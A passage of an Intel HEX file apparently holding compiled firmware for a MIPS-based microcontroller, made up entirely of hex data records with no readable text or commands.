564224870042901400c327212060005a\n:10021400212840001e2d410f00000000070040105f\n:10022400000000001400c227059d033cb837642475\n:10023400212840002013410f000000001000c29349\n:10024400010042241000c2a31000c39300a0023c8a\n:100254008018030018714224211062000000428caf\n:10026400d7ff4014000000001100c2932120400079\n:10027400abc0400f00000000059d023cb837442489\n:10028400059d023cdc3745242013410f000000008b\n:1002940021e8c0031c02bf8f1802be8f2002bd27b5\n:1002a4000800e00300000000e8ffbd271400bfaf12\n:1002b4001000beaf21f0a003211080001800c2a3db\n:1002c40000a0023cdc5642249c0040ac00a0023c4e\n:1002d400dc564224c40040ac00a0023cdc5642245c\n:1002e400cc0040ac00a0023cdc564224d00040ac20\n:1002f40000a0023cdc564224c80040ac00a0023cf2\n:10030400dc564224a00040a000a0023cdc5642245b\n:10031400d80040ac00a0023cdc564224dc0040acd7\n:1003240000a0023cdc564224a40040ac00a0023ce5\n:10033400dc564224a80040ac00a0023cdc56422417\n:10034400ac0040ac00a0023cdc564224b00040acff\n:1003540000a0023cdc5642241800c393870043a04b\n:1003640000a0023cdc564224d40040ac00a0023c75\n:10037400dc5642248c0040ac00a0023cdc564224f3\n:10038400bd0040a000a0023cdc564224be0040a0b8\n:1003940000a0023cdc564224bf0040a000a0023c66\n:1003a400dc564224c00040a000a0023cdc5642249b\n:1003b400bc0040a000a0023cdc564224e00040ac5b\n:1003c40000a0023cdc564224ec0040ac00a0023cfd\n:1003d400dc564224f00040ac00a0023cdc5642242f\n:1003e400e40040ac00a0023cdc564224e80040acef\n:1003f40000a0023cdc564224f80040ac00a0023cc1\n:10040400dc564224f40040ac1800c2931600432c7e\n:10041400370460100000000080180200039d023cb5\n:1004240038044224211062000000428c080040007d\n:10043400000000000015039d9004039d4009039de6\n:10044400f809039d9010039df414039df414039d77\n:10045400b00b039d140d039d2c06039d5811039da1\n:10046400b00a039d800e039d880f039d2c06039df7\n:100474004408039dcc12039d2805039d1c07039d7e\n:100484003c14039df414039d2c06039d00a0023c20\n:10049400dc564224200303249c0043ac00a0023c0d\n:1004a400dc56422401000324a00043a000a0023c27\n:1004b400dc56422464000324dc0043ac00a0023c6c\n:1004c400dc56422420000324a40043ac00a0023cd8\n:1004d400dc56422400010324b00043ac00a0023cdb\n:1004e400dc5642241800c393870043a000a0023cba\n:1004f400dc56422414000324d40043ac00a0023c84\n:10050400dc564224c83203248c0043ac00a0023cd5\n:10051400dc564224e8030324f00043ac41c5400bfd\n:100524000000000000a0023cdc5642242003032407\n:100534009c0043ac00a0023cdc564224030003248c\n:10054400a00043a000a0023cdc5642246e00032419\n:10055400dc0043ac00a0023cdc56422432000324fd\n:10056400a40043ac00a0023cdc564224080003244f\n:10057400a80043ac00a0023cdc5642240a00032439\n:10058400ac0043ac00a0023cdc56422460000324cf\n:10059400b00043ac00a0023cdc5642241800c393d4\n:1005a400870043a000a0023cdc564224140003242c\n:1005b400d40043ac00a0023cdc564224c8320324dd\n:1005c4008c0043ac00a0023cdc564224010003240e\n:1005d400bd0043a000a0023cdc5642241d000324bd\n:1005e400be0043a000a0023cdc56422480ff03244a\n:1005f400bf0043a000a0023cdc564224c00040a03f\n:1006040000a0023cdc56422412000324bc0043a098\n:1006140000a0023cdc564224e8030324f00043ac6f\n:1006240041c5400b0000000000a0023cdc564224ff\n:10063400200303249c0043ac00a0023cdc5642246b\n:1006440001000324cc0043ac00a0023cdc5642244d\n:1006540001000324a00043a000a0023cdc56422475\n:1006640096000324dc0043ac00a0023cdc56422488\n:1006740040000324a40043ac00a0023cdc56422406\n:1006840040000324b00043ac00a0023cdc564224ea\n:100694001800c393870043a000a0023cdc56422408\n:1006a40014000324d40043ac00a0023cdc564224d2\n:1006b400c83203248c0043ac00a0023cdc56422424\n:1006c400ffff0324bd0043a000a0023cdc564224eb\n:1006d400ffff0324be0043a000a0023cdc564224da\n:1006e400bf0040a000a0023cdc564224c00040a051\n:1006f40000a0023cdc56422409000324bc0043a0b1\n:1007040000a0023cdc564224e8030324f00043ac7e\n:1007140041c5400b0000000000a0023cdc5642240e\n:10072400200303249c0043ac00a0023cdc5642247a\n:1007340001000324cc0043ac00a0023cdc5642245c\n:1007440001000324a00043a000a0023cdc56422484\n:1007540082000324dc0043ac00a0023cdc564224ab\n:1007640040000324a40043ac00a0023cdc56422415\n:1007740035000324b00043ac00a0023cdc56422404\n:100784000e000324b40043ac00a0023cdc56422417\n:1007940020000324b80043ac00a0023cdc564224f1\n:1007a4001800c393870043a000a0023cdc564224f7\n:1007b40014000324d40043ac00a0023cdc564224c1\n:1007c400c83203248c0043ac00a0023cdc56422413\n:1007d400e8030324f00043ac00a0023cdc564224ae\n:1007e40037000324e00043ac00a0023cdc56422462\n:1007f400d0070324ec0043ac00a0023cdc564224a6\n:1008040010000324e40043ac00a0023cdc56422464\n:1008140020000324e80043ac00a0023cdc56422440\n:100824003c000324f40043ac00a0023cdc56422408\n:1008340050000324f80043ac41c5400b0000000005\n:1008440000a0023cdc564224e90203249c0043ac91\n:1008540000a0023cdc56422401000324c40043ac43\n:1008640000a0023cdc56422401000324c80043ac2f\n:1008740000a0023cdc56422401000324a00043a053\n:1008840000a0023cdc56422482000324dc0043ac7a\n:1008940000a0023cdc56422420000324a40043ac04\n:1008a40000a0023cdc56422480000324b00043ac88\n:1008b40000a0023cdc5642241800c393870043a0e6\n:1008c40000a0023cdc56422414000324d40043acb0\n:1008d40000a0023cdc564224c83203248c0043ac02\n:1008e40000a0023cdc564224bd0040a000a0023c13\n:1008f400dc56422420000324be0043a000a0023c96\n:10090400dc564224bf0040a000a0023cdc56422436\n:10091400c00040a000a0023cdc5642240b0003248b\n:10092400bc0043a000a0023cdc564224e80303249c\n:10093400f00043ac41c5400b0000000000a0023ca5\n:10094400dc564224200303249c0043ac00a0023c58\n:10095400dc56422402000324a00043a000a0023c71\n:10096400dc56422496000324dc0043ac00a0023c85\n:10097400dc56422432000324a40043ac00a0023c11\n:10098400dc56422408000324a80043ac00a0023c27\n:10099400dc56422405000324ac0043ac00a0023c16\n:1009a400dc56422400010324b00043ac00a0023c06\n:1009b400dc5642241800c393870043a000a0023ce5\n:1009c400dc56422414000324d40043ac00a0023caf\n:1009d400dc564224c83203248c0043ac00a0023c01\n:1009e400dc564224e8030324f00043ac41c5400b29\n:1009f4000000000000a0023cdc5642242003032433\n:100a04009c0043ac00a0023cdc56422403000324b7\n:100a1400a00043a000a0023cdc5642245a00032458\n:100a2400dc0043ac00a0023cdc5642243200032428\n:100a3400a40043ac00a0023cdc564224080003247a\n:100a4400a80043ac00a0023cdc5642240a00032464\n:100a5400ac0043ac00a0023cdc5642240001032459\n:100a6400b00043ac00a0023cdc5642241800c393ff\n:100a7400870043a000a0023cdc5642241400032457\n:100a8400d40043ac00a0023cdc564224c832032408\n:100a94008c0043ac00a0023cdc564224e80303244f\n:100aa400f00043ac41c5400b0000000000a0023c34\n:100ab400dc564224200303249c0043ac00a0023ce7\n:100ac400dc56422403000324a00043a000a0023cff\n:100ad400dc5642246e000324dc0043ac00a0023c3c\n:100ae400dc56422432000324a40043ac00a0023ca0\n:100af400dc56422408000324a80043ac00a0023cb6\n:100b0400dc5642240a000324ac0043ac00a0023c9f\n:100b1400dc56422460000324b00043ac00a0023c35\n:100b2400dc5642241800c393870043a000a0023c73\n:100b3400dc56422414000324d40043ac00a0023c3d\n:100b4400dc564224c83203248c0043ac00a0023c8f\n:100b5400dc5642241d000324bd0043a000a0023c37\n:100b6400dc56422455000324be0043a000a0023cee\n:100b7400dc564224bf0040a000a0023cdc564224c4\n:100b8400c00040a000a0023cdc5642241000032414\n:100b9400bc0043a000a0023cdc564224e80303242a\n:100ba400f00043ac41c5400b0000000000a0023c33\n:100bb400dc564224200303249c0043ac00a0023ce6\n:100bc400dc56422401000324cc0043ac00a0023cc8\n:100bd400dc56422401000324a00043a000a0023cf0\n:100be400dc564224aa000324dc0043ac00a0023cef\n:100bf400dc56422420000324a40043ac00a0023ca1\n:100c0400dc56422421000324b00043ac00a0023c83\n:100c1400dc56422440000324b40043ac00a0023c50\n:100c2400dc56422420000324b80043ac00a0023c5c\n:100c3400dc5642241800c393870043a000a0023c62\n:100c4400dc56422414000324d40043ac00a0023c2c\n:100c5400dc564224c83203248c0043ac00a0023c7e\n:100c6400dc56422404000324e00043ac00a0023c10\n:100c7400dc564224d0070324ec0043ac00a0023c21\n:100c8400dc564224f4010324f00043ac00a0023cef\n:100c9400dc56422412000324e40043ac00a0023cce\n:100ca400dc5642241a000324e80043ac00a0023cb2\n:100cb400dc564224b4000324f40043ac00a0023cfc\n:100cc400dc56422478000324f80043ac00a0023c24\n:100cd400dc564224bc0040a000a0023cdc56422466\n:100ce400bd0040a000a0023cdc564224bd0040a050\n:100cf40000a0023cdc564224bd0040a000a0023cff\n:100d0400dc564224bd0040a041c5400b0000000059\n:100d140000a0023cdc564224200303249c0043ac84\n:100d240000a0023cdc56422401000324cc0043ac66\n:100d340000a0023cdc56422401000324a00043a08e\n:100d440000a0023cdc564224a0000324dc0043ac97\n:100d540000a0023cdc56422420000324a40043ac3f\n:100d640000a0023cdc56422425000324b00043ac1e\n:100d740000a0023cdc56422408000324b40043ac27\n:100d840000a0023cdc56422420000324b80043acfb\n:100d940000a0023cdc5642241800c393870043a001\n:100da40000a0023cdc56422414000324d40043accb\n:100db40000a0023cdc564224c83203248c0043ac1d\n:100dc40000a0023cdc56422403000324e00043acb0\n:100dd40000a0023cdc564224d0070324ec0043acc0\n:100de40000a0023cdc5642240d020324f00043ac74\n:100df40000a0023cdc56422412000324e40043ac6d\n:100e040000a0023cdc5642241a000324e80043ac50\n:100e140000a0023cdc56422496000324f40043acb8\n:100e240000a0023cdc5642245a000324f80043ace0\n:100e340000a0023cdc564224f8ff0324bd0043a07a\n:100e440000a0023cdc564224be0040a000a0023cac\n:100e5400dc564224bf0040a000a0023cdc564224e1\n:100e6400c00040a000a0023cdc564224050003243c\n:100e7400bc0043a041c5400b0000000000a0023ca0\n:100e8400dc564224200303249c0043ac00a0023c13\n:100e9400dc56422404000324a00043a000a0023c2a\n:100ea400dc56422464000324d80043ac00a0023c76\n:100eb400dc564224aa000324dc0043ac00a0023c1c\n:100ec400dc56422420000324a40043ac00a0023cce\n:100ed400dc56422402000324a80043ac00a0023cd8\n:100ee400dc56422440000324b00043ac00a0023c82\n:100ef400dc5642241800c393870043a000a0023ca0\n:100f0400dc56422414000324d40043ac00a0023c69\n:100f1400dc564224c83203248c0043ac00a0023cbb\n:100f2400dc56422404000324880043ac00a0023ca5\n:100f3400dc564224bd0040a000a0023cdc56422402\n:100f4400be0040a000a0023cdc564224bf0040a0ea\n:100f540000a0023cdc564224c00040a000a0023c99\n:100f6400dc56422418000324bc0043a000a0023c29\n:100f7400dc564224e8030324f00043ac41c5400b93\n:100f84000000000000a0023cdc564224200303249d\n:100f94009c0043ac00a0023cdc5642240400032421\n:100fa400a00043a000a0023cdc56422464000324b9\n:100fb400d80043ac00a0023cdc564224aa0003241f\n:100fc400dc0043ac00a0023cdc5642242000032495\n:100fd400a40043ac00a0023cdc56422402000324db\n:100fe400a80043ac00a0023cdc564224e0000324e9\n:100ff400b00043ac00a0023cdc5642241800c3936a\n:10100400870043a000a0023cdc56422414000324c1\n:10101400d40043ac00a0023cdc564224c832032472\n:101024008c0043ac00a0023cdc56422404000324a0\n:10103400880043ac00a0023cdc564224bd0040a022\n:1010440000a0023cdc564224be0040a000a0023caa\n:10105400dc564224bf0040a000a0023cdc564224df\n:10106400c00040a000a0023cdc5642241800032427\n:10107400bc0043a000a0023cdc564224e803032445\n:10108400f00043ac41c5400b0000000000a0023c4e\n:10109400dc564224200303249c0043ac00a0023c01\n:1010a400dc56422404000324a00043a000a0023c18\n:1010b400dc56422464000324d80043ac00a0023c64\n:1010c400dc56422496000324dc0043ac00a0023c1e\n:1010d400dc56422420000324a40043ac00a0023cbc\n:1010e400dc56422402000324a80043ac00a0023cc6\n:1010f400dc56422400010324b00043ac00a0023caf\n:10110400dc5642241800c393870043a000a0023c8d\n:10111400dc56422414000324d40043ac00a0023c57\n:10112400dc564224c83203248c0043ac00a0023ca9\n:10113400dc56422404000324880043ac00a0023c93\n:10114400dc564224e8030324f00043ac41c5400bc1\n:101154000000000000a0023cdc56422420030324cb\n:101164009c0043ac00a0023cdc5642240100032452\n:10117400cc0043ac00a0023cdc5642240100032412\n:10118400a00043a000a0023cdc564224a00003249b\n:10119400dc0043ac00a0023cdc56422440000324a3\n:1011a400a40043ac00a0023cdc56422440000324cb\n:1011b400b00043ac00a0023cdc56422408000324e7\n:1011c400b40043ac00a0023cdc56422420000324bb\n:1011d400b80043ac00a0023cdc5642241800c39380\n:1011e400870043a000a0023cdc56422414000324e0\n:1011f400d40043ac00a0023cdc564224c832032491\n:101204008c0043ac00a0023cdc564224ffff0324c4\n:10121400bd0043a000a0023cdc564224ffff03248f\n:10122400be0043a000a0023cdc564224bf0040a004\n:1012340000a0023cdc564224c00040a000a0023cb6\n:10124400dc56422409000324bc0043a000a0023c55\n:10125400dc564224c8320324ec0043ac00a0023c18\n:10126400dc564224a00f0324f00043ac00a0023c4f\n:10127400dc56422432000324e00043ac00a0023ccc\n:10128400dc56422410000324e40043ac00a0023cda\n:10129400dc56422430000324e80043ac00a0023ca6\n:1012a400dc56422430000324f40043ac00a0023c8a\n:1012b400dc564224c0000324f80043ac9c8080af79\n:1012c40041c5400b0000000000a0023cdc56422453\n:1012d400200303249c0043ac00a0023cdc564224bf\n:1012e40001000324a00043a000a0023cdc564224d9\n:1012f40096000324dc0043ac00a0023cdc564224ec\n:1013040001000324cc0043ac00a0023cdc56422480\n:1013140020000324a40043ac00a0023cdc56422479\n:1013240040000324b00043ac00a0023cdc5642243d\n:10133400e0ff0324bd0043a000a0023cdc5642248d\n:1013440015000324be0043a000a0023cdc56422446\n:10135400bf0040a000a0023cdc564224c00040a0d4\n:1013640000a0023cdc56422410000324bc0043a02d\n:1013740000a0023cdc56422408000324b40043ac21\n:1013840000a0023cdc56422420000324b80043acf5\n:1013940000a0023cdc5642241800c393870043a0fb\n:1013a40000a0023cdc56422414000324d40043acc5\n:1013b40000a0023cdc564224c83203248c0043ac17\n:1013c40000a0023cdc564224c8320324ec0043aca7\n:1013d40000a0023cdc564224a00f0324f00043acde\n:1013e40000a0023cdc56422417000324e00043ac76\n:1013f40000a0023cdc56422410000324e40043ac69\n:1014040000a0023cdc56422430000324e80043ac34\n:1014140000a0023cdc56422440000324f40043ac08\n:1014240000a0023cdc564224c0000324f80043ac74\n:1014340041c5400b0000000000a0023cdc564224e1\n:10144400200303249c0043ac00a0023cdc5642244d\n:101454001800c393870043a000a0023cdc5642243a\n:1014640014000324d40043ac00a0023cdc56422404\n:10147400c83203248c0043ac00a0023cdc56422456\n:10148400c8320324ec0043ac00a0023cdc564224e6\n:10149400a00f0324f00043ac00a0023cdc5642241d\n:1014a40017000324e00043ac00a0023cdc564224b5\n:1014b40010000324e40043ac00a0023cdc564224a8\n:1014c40030000324e80043ac00a0023cdc56422474\n:1014d40040000324f40043ac00a0023cdc56422448\n:1014e400c0000324f80043ac41c5400b00000000d9\n:1014f4002110000063c5400b000000000000000044\n:10150400e00c410f0000000000a0023cdc56422425\n:10151400dc00428c21200000212800002130400002\n:1015240000a0023c5c454724662b410f00000000ec\n:1015340000a0023cdc564224d800428c0100042462\n:10154400212800002130400000a0023c5c454724d3\n:10155400662b410f000000000700023c20a1443428\n:10156400400e410f000000009c8080af00a0023cb0\n:10157400c872442421280000090006246551410f43\n:10158400000000000100022421e8c0031400bf8f02\n:101594001000be8f1800bd270800e0030000000003\n:1015a400e8ffbd271400bfaf1000beaf21f0a003b9\n:1015b4001800c4af1c00c5af2110c0002000c2a396\n:1015c4002000c2931600432c890060100000000024\n:1015d40080180200039d023cf01542242110620091\n:1015e4000000428c0800400000000000f417039d36\n:1015f4004816039d4816039d4816039d4816039def\n:101604004816039d4816039df417039df417039d84\n:10161400a416039da416039d0417039d3417039d6c\n:101624006417039d9417039dd416039df417039d1b\n:101634007416039d4816039df417039df417039d28\n:10164400c417039d1c00c48fa34a410f000000006f\n:101654001800c48f1c00c58f21304000494a410f37\n:101664000000000001000224fec5400b0000000041\n:101674001800c48f1c00c58f1629410f00000000fc\n:10168400040040140000000021100000fec5400bbf\n:101694000000000001000224fec5400b0000000011\n:1016a4001800c48f1c00c58fabdb400f0000000086\n:1016b400040040140000000021100000fec5400b8f\n:1016c4000000000001000224fec5400b00000000e1\n:1016d4001800c48f1c00c58f2e1e410f000000008f\n:1016e400040040140000000021100000fec5400b5f\n:1016f4000000000001000224fec5400b00000000b1\n:101704001800c48f1c00c58fc23c410f00000000ac\n:10171400040040140000000021100000fec5400b2e\n:101724000000000001000224fec5400b0000000080\n:101734001800c48f1c00c58fd828410f000000007a\n:10174400040040140000000021100000fec5400bfe\n:101754000000000001000224fec5400b0000000050\n:101764001800c48f1c00c58ffe28410f0000000024\n:10177400040040140000000021100000fec5400bce\n:101784000000000001000224fec5400b0000000020\n:101794001800c48f1c00c58f4143410f0000000096\n:1017a400040040140000000021100000fec5400b9e\n:1017b4000000000001000224fec5400b00000000f0\n:1017c4001800c48f1c00c58ff540410f00000000b5\n:1017d400040040140000000021100000fec5400b6e\n:1017e4000000000001000224fec5400b00000000c0\n:1017f4002110000021e8c0031400bf8f1000be8f29\n:101804001800bd270800e00300000000e0fdbd272c\n:101814001c02bfaf1802beaf21f0a0032002c4af68\n:101824002402c5af2110c0002802c2a32802c3931a\n:101834001200022427006214000000001400c227d2\n:10184400212040002402c58fe7b8400f00000000ab\n:101854001000c0af22c6400b000000001400c327d4\n:101864001000c28f211062002120400020000524b6\n:10187400abbc400f000000001000c28f20004224c7\n:101884001000c2af2402c48fa34a410f000000001d\n:10189400801802001000c28f2b104300efff401489\n:1018a400000000002402c48fa34a410f000000007e\n:1018b400801002001400c3272002c48f2128600076\n:1018c4002130400063b9400f000000003bc6400bcc\n:1018d400000000002002c48f2402c58f7f49410ffd\n:1018e400000000000000000021e8c0031c02bf8fbc\n:1018f4001802be8f2002bd270800e003000000008c\n:10190400e0ffbd271c00bfaf1800beaf21f0a0034d\n:10191400211080002400c5af2000c2a32000c29380\n:101924001000c3272120600021284000cb25410f4f\n:10193400000000000400401400000000211000001a\n:1019440084c6400b000000002400c28f00004280c7\n:1019540005004014000000002000c3930800022486\n:1019640016006214000000001000c28f2120400005\n:1019740000a0023c5c4545242400c68fde50410f84\n:10198400000000000d004014000000001000c28f91\n:101994002120400000a0023c5c4545242400c68f61\n:1019a4005a54410f000000000400401400000000dd\n:1019b4002110000084c6400b000000002000c393e7\n:1019c4002000c29300a0043c5c45842421286000cc\n:1019d40021304000fb26410f0000000004004014a9\n:1019e400000000002110000084c6400b000000002d\n:1019f4001000c28f2120400000a0023c5c45452419\n:101a0400010006244048410f0000000021e8c00303\n:101a14001c00bf8f1800be8f2000bd270800e00304\n:101a240000000000e0ffbd271c00bfaf1800beafe0\n:101a340021f0a003211080002400c5af2000c2a320\n:101a44002000c2930a0003246f004310000000002a\n:101a54000b00432806006010000000000800032467\n:101a64003b004310000000004bc7400b0000000087\n:101a74001000032488004310000000001200032417\n:101a8400a9004314000000002000c293212040005c\n:101a94002400c58f41c6400f00000000040040141c\n:101aa40000000000211000004cc7400b00000000a3\n:101ab400050002241000c2afc3c6400b00000000a2\n:101ac4001000c38f020002240c006210000000000a\n:101ad4001000c48f059d023cec3745240100062408\n:101ae4004048410f000000000400401400000000c2\n:101af400211000004cc7400b000000001000c28ff2\n:101b0400010042241000c2af1000c28f0e00422c0c\n:101b1400ebff40140000000002000424059d023c79\n:101b2400ec374524213000004048410f00000000fc\n:101b34000400401400000000211000004cc7400bba\n:101b440000000000010002244cc7400b000000000c\n:101b54002000c293212040002400c58f41c6400fbd\n:101b640000000000040040140000000021100000e8\n:101b74004cc7400b00000000040002241000c2af58\n:101b8400f1c6400b000000001000c48f059d023c0c\n:101b9400ec374524010006244048410f00000000b2\n:101ba4000400401400000000211000004cc7400b4a\n:101bb400000000001000c28f010042241000c2afd8\n:101bc4001000c28f0800422cefff401400000000f8\n:101bd40001000424059d023cf83745240100062435\n:101be4004048410f000000000400401400000000c1\n:101bf400211000004cc7400b00000000010002242b\n:101c04004cc7400b000000002000c293212040007c\n:101c1400059d023c0438452441c6400f00000000e5\n:101c24000400401400000000211000004cc7400bc9\n:101c340000000000010002241000c2af20c7400bc6\n:101c4400000000001000c48f059d023cec374524c1\n:101c5400010006244048410f000000000400401425\n:101c640000000000211000004cc7400b00000000e1\n:101c74001000c28f010042241000c2af1000c28fb6\n:101c84000800422cefff4014000000000100022471\n:101c94004cc7400b000000002000c29321204000ec\n:101ca400059d023c0438452441c6400f0000000055\n:101cb4000400401400000000211000004cc7400b39\n:101cc40000000000010002241000c2af44c7400b12\n:101cd400000000001000c48f059d023cec37452431\n:101ce400010006244048410f000000000400401495\n:101cf40000000000211000004cc7400b0000000051\n:101d04001000c28f010042241000c2af1000c28f25\n:101d14000800422cefff40140000000001000224e0\n:101d24004cc7400b000000002110000021e8c00354\n:101d34001c00bf8f1800be8f2000bd270800e003e1\n:041d4400000000009b\n:020000040000fa\n:020000041d03da\n:101d4800a8ffbd275400bfaf5000beaf4c00b7afcf\n:101d58004800b6af4400b5af4000b4af3c00b3afe5\n:101d68003800b2af3400b1af3000b0af219080007e\n:101d78002188a0006000a6af211000002800a2afb3\n:101d8800218000000000248201003326e00080103a\n:101d98001600a4a325000224ea00821402002226c9\n:101da80021a00000ffff4880e0ff0325ff0063300b\n:101db8001100642c21008010ffff512480180300bb\n:101dc800039d043ce01d8424211883000000638cdb\n:101dd80008006000000000000c21039d441e039dc4\n:101de800441e039d0021039d441e039d441e039d24\n:101df800441e039d441e039d441e039d441e039dd3\n:101e0800441e039df420039d441e039de820039d6a\n:101e1800441e039d441e039d241e039d0400943606\n:101e280001004224ffff4880e0ff0325ff006330e4\n:101e38001100642ce1ff8014ffff5124059d053c2f\n:101e48001d39a5242110a800000042900200843208\n:101e5800feff83320ba0640008008432fbff83324c\n:101e68000400423021282002bd0040100ba064006d\n:101e780021a80001a2c7400b21f0000021a84000c2\n:101e8800010031260000228240201e00c0b01e0042\n:101e9800059d073c1d39e7242118e20000006390e6\n:101ea80021b096002140d50204006330f3ff60148e\n:101eb800d0ff1e252e000324b000435001002282cb\n:101ec8000010943621980000039d073c041fe52468\n:101ed8001000072400800634ff0043307900642c8a\n:101ee8009d02801001003126801803002118a300ec\n:101ef8000000638c08006000000000001821039daa\n:101f08006029039d6029039d6029039d6029039d25\n:101f18006029039d6029039d6029039d6029039d15\n:101f28006029039d6029039d6029039d6029039d05\n:101f38006029039d6029039d6029039d6029039df5\n:101f48006029039d6029039d6029039d6029039de5\n:101f58006029039d6029039d6029039d6029039dd5\n:101f68006029039d6029039d6029039d6029039dc5\n:101f78006029039d6029039d6029039d6029039db5\n:101f88006029039d6029039d6029039d6029039da5\n:101f98006029039d6029039d6029039d6029039d95\n:101fa8006029039d6029039d6029039d6029039d85\n:101fb8006029039d6029039d6029039d6029039d75\n:101fc8006029039d6029039d6029039d6029039d65\n:101fd8006029039d6029039d6029039d6029039d55\n:101fe8006029039d6029039d6029039d6029039d45\n:101ff8006029039d6029039d6029039d6029039d35\n:102008006029039d6029039d6029039d6029039d24\n:102018008429039d6029039d7029039d6029039de0\n:102028006029039d6029039d6029039d6029039d04\n:102038006029039d6029039d6029039d6029039df4\n:102048006029039d6029039d6029039d6029039de4\n:102058006029039d6029039d6029039d1029039d24\n:102068006029039d6029039d6029039d6029039dc4\n:102078006029039d6029039d6029039d6029039db4\n:102088006029039d6029039db828039db028039dfe\n:10209800a028039d2c29039d1c29039d6029039dcd\n:1020a800b028039d6029039d6029039d3c29039d59\n:1020b8006029039d6029039d9028039d1029039d95\n:1020c8006029039d6029039d9827039d6029039d2e\n:1020d8002826039d6029039d6029039d0c22039dea\n:1020e800080094368bc7400b010042240200943646\n:1020f8008bc7400b01004224000894368bc7400b65\n:1021080001004224010094368bc7400b0100422491\n:10211800211000025400bf8f5000be8f4c00b78fb3\n:102128004800b68f4400b58f4000b48f3c00b38f91\n:102138003800b28f3400b18f3000b08f0800e00350\n:102148005800bd27534b410f21284002ffff0324ad\n:102158000cff43102188600263c7400b0100102662\n:102168002a0002241f0002112e000324211000015e\n:1021780053ff431421f00000010022822a000324a7\n:102188001305431000409436059d043c1d398424f2\n:10219800211882000000639001003126040063309a\n:1021a80049ff60102198000040181300c0981300e0\n:1021b80001003126219873002198620200002282d2\n:1021c800059d043c1d398424211882000000639079\n:1021d80004006330f4ff6014d0ff7326b5c7400bca\n:1021e800039d073c6000a28f00005e8c0100312631\n:1021f8000100a2806000a38f04006324afc7400bd6\n:102208006000a3af780002241600a2a380009436d1\n:102218000007823209014010c00082320010843267\n:102228001000823206000324170340100b98640044\n:102238006000a28f07004324f8ff022424106200e4\n:102248000000448c0400458c080042244c47410f90\n:102258006000a2af21a840002120a0028552410fb2\n:1022680021280000120340040080023c2120a00223\n:10227800212800008552410f1000a0af150340141b\n:102288002120a0021c00a0af00018232ff014014ef\n:1022980000028232f80140141c00a38f1900622a40\n:1022a80052054014000000001c00a48f0a00822878\n:1022b8000f004010059d023c2120a0028552410fcd\n:1022c800212800003c0540102120a002e353410fc3\n:1022d800000000003b05401421b840001c00a58ff9\n:1022e8000200a3283705601400000000059d023c89\n:1022f800f040458c8552410f2800a48f12054104f7\n:102308001c00a28f1c00a78fedfff6241000b6afab\n:10231800c546410f2024167c2800a2af2120a00228\n:10232800af45410f21284000e353410f21204000d1\n:1023380021b8400021a84000211800001800a3afd0\n:102348000a00e22e64054014059d033c20406324e6\n:10235800020005240200062414000a240400678ce5\n:102368000c00e0541600a6a30000628c2b10e202b9\n:10237800080040541600a6a30100a6242128c00086\n:102388002034067cf5ffaa14080063241600a6a3cf\n:10239800140005240008973221286502fffff73250\n:1023a80021b0b6002510770223b0d6032b10020007\n:1023b8000300833223b0c2022b18030004008232c8\n:1023c800a904401023b0c30202008232f604401070\n:1023d80001008232010084322d0002242b000324e4\n:1023e8000a10640021204000534b410f212840026d\n:1023f800271002002b100200218002020a00c05a96\n:102408000800943230000424534b410f2128400225\n:10241800271002002b100200ffffd626f9ffc01676\n:10242800218002020800943222c9400bffff9e322d\n:10243800c0180300059d043c104084242118830023\n:102448000000668c0400678c2120a0020733410f2e\n:102458002128000021204000212860000a000624cd\n:10246800ee31410f2138000030004424534b410f16\n:1024780021284002271002002b10020021800202ae\n:102488001600a283ffff4324201c037ce8ff4014ae\n:102498001600a3a31000a28f0c0040181300622a94\n:1024a80030000424534b410f21284002271002001a\n:1024b8002b1802001000a28fffff42242180030284\n:1024c800f7ff401c1000a2af1300622ad204401488\n:1024d8002014137c120002241600a2a3eeff732618\n:1024e8002e000424534b410f21284002ffff0324f0\n:1024f800020043101600b48301001026c546410fa0\n:102508002120800221204000d147410f1800a58fcb\n:10251800e353410f2120400021a84000ffff8626f9\n:102528002034067c21b80000250080121600a6a3de\n:10253800c0300600059d053c1040a5242130a600aa\n:102548000400c78c0000c68c2120a0020733410f6d\n:102558002128e00221204000212860000a000624ea\n:10256800ee31410f2138000030004424534b410f15\n:10257800212840021600b483271002002b10020005\n:10258800c0181400059d073c1040e7242118e300fb\n:102598000000668c0400678c2120a0022128e0023c\n:1025a800ee31410f21800202ffff86262034067c8f\n:1025b80021a8400021b86000ddff80161600a6a300\n:1025c800090060120000000030000424534b410f42\n:1025d80021284002271002002b100200ffff73265b\n:1025e800f9ff601621800202e7fdc0530000248233\n:1025f800e5fdc05a0000248220000424534b410ffb\n:1026080021284002271002002b100200ffffd626c7\n:10261800f9ffc0162180020264c7400b0000248223\n:10262800750002241600a2a3c00094360007823267\n:10263800fbfe401400108432c000823208024014ad\n:102648002016147c280440046000a28f10008232f7\n:10265800f30340106000a48f6000a38f0000628c19\n:10266800040063246000a3afc31f020021a8400038\n:1026780021b8600021206000060081042348020080\n:102688002b100900231803000300943621a8200109\n:1026980023b8620003006016c00084322598b70290\n:1026a8000100732e40000224b20382101800a4af68\n:1026b8004100822cbb004014800002241800a58f22\n:1026c8007e03a21001000224c0000224b800a21454\n:1026d8001600b683010002248d04e0121600a2a39e\n:1026e800059d033c204063240300022402001624b5\n:1026f800150006240400648c2b28e4020900a05469\n:102708001600b6a3030497500000648c010044240b\n:1027180020b4027cff008230f6ff461408006324d0\n:102728001600b6a32a10d302a500405420b4137c87\n:102738002a1076020b98c2020500c01300408232ac\n:10274800030082322b10020023f0c20300408232c1\n:102758009e004010c40883322a107e029a0040541a\n:1027680023f0d303c4088332400802249a00621479\n:1027780021f000002a10de02a20040140400823278\n:102788006d0440100800823285ca400b21b0000059\n:10279800730002241600a2a36000a58f0000a48c79\n:1027a8000400a5244504801021a880000000828030\n:1027b800460440100100822423b84400010042244a\n:1027c800ffff4380fdff605423b844006000a5afbd\n:1027d80003006012080094322b1077020bb86202d3\n:1027e8002b10fe022340d703ffff943221b00000d4\n:1027f8000bb002010c0080162198c0020a0060523a\n:10280800ffff162420000424534b410f21284002c7\n:10281800271002002b100200ffff7326f9ff601635\n:1028280021800202ffff1624fffff726ffff132473\n:102838000a00f312000000000000a48221284002d0\n:10284800534b410f0100b526271002002b10020040\n:10285800fffff726f8fff3162180020249fd8012d8\n:1028680021a8c00247fda01220000424534b410fa9\n:1028780021284002271002002b10020021800202aa\n:102888001bca400bffffb5266f0002241600a2a347\n:1028980086c8400b40009436650002241600a2a3a7\n:1028a80086c8400b0001943686c8400b1600a2a3c8\n:1028b8006000a78f0000e38c100086320400e52436\n:1028c800c32703000026040002120300251082001b\n:1028d8002024027c2e00c0101600a4a3010042246c\n:1028e800ff0042300200422c2a0040541400a3a3e7\n: